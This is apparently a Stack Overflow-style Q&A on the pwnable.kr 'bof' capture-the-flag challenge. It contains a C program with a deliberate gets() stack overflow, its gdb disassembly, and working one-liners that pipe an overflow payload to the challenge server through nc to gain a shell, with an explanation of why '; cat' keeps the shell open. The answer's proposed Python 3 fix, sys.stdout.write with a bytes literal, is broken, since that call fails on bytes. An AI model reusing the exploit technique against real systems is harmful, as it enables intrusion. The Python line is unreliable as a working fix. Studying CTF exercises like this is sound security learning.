(Asking again without the download link)
Problem Description
Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
bof
(gdb) disassemble main
Dump of assembler code for function main:
0x0000068a <+0>: push %ebp
0x0000068b <+1>: mov %esp,%ebp
0x0000068d <+3>: and $0xfffffff0,%esp
0x00000690 <+6>: sub $0x10,%esp
0x00000693 <+9>: movl $0xdeadbeef,(%esp)
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov $0x0,%eax
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
(gdb) disassemble func
Dump of assembler code for function func:
0x0000062c <+0>: push %ebp
0x0000062d <+1>: mov %esp,%ebp
0x0000062f <+3>: sub $0x48,%esp
0x00000632 <+6>: mov %gs:0x14,%eax
0x00000638 <+12>: mov %eax,-0xc(%ebp)
0x0000063b <+15>: xor %eax,%eax
0x0000063d <+17>: movl $0x78c,(%esp)
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea -0x2c(%ebp),%eax
0x0000064c <+32>: mov %eax,(%esp)
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmpl $0xcafebabe,0x8(%ebp)
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: movl $0x79b,(%esp)
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: movl $0x7a3,(%esp)
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov -0xc(%ebp),%eax
0x0000067a <+78>: xor %gs:0x14,%eax
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
Solution
https://0xrick.github.io/pwn/bof/
I understand that we have to supply 52 trash characters and cafebabe to overflow the buffer. But when I only pass that as an input, I don't get an interactive shell. It's only when I pass in cat command as well. Why is cat necessary??
---EDIT---
I forgot to mention that this is running on the server and I connect to it using nc pwnable.kr 9000
. I pass in the input as python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000
. The correct answer is said to be (python -c 'print("A"*52 + "\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000
The first thing to understand here is the concept of pipes. When you run the command
python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000
The shell creates a pipe, and starts two processes: python and nc.
Python's output gets connected (redirected) to the pipe input, and the pipe output is connected to the netcat. The shell does not keep a reference to the pipe.
The output of nc
is still connected to the terminal, as is the input of python. When python terminates after printing the data, the kernel closes its file descriptors, and the pipe, having had its input closed, will report EOF to the reader right after all the buffered data remaining in the pipe. The other thing that the pipe could do, would be to hang indefinitely, but this would be pointless.
Imagine the following pipeline:
echo 123 | tail
because of the well-defined semantics, it must behave exactly the same way as yours. Whenever the input to tail ends, it will not read anything from the terminal.
The second problem is that if you have python
pointing to a Python 3 installation (most likely for at least a couple years now) you use unicode strings instead of byte strings. The issue is described in depth in the official pwntools tutorial:
https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md
So you should do
python -c 'import sys; sys.stdout.write(b"A"*52 + b"\xbe\xba\xfe\xca")' | nc pwnable.kr 9000
and that's because in python 3 your code would mean
python -c 'print("A"*52 + "\u00be\u00ba\u00fe\u00ca")' | nc pwnable.kr 9000
Which would produce just some irrelevant Unicode characters printed in UTF-8.
User contributions licensed under CC BY-SA 3.0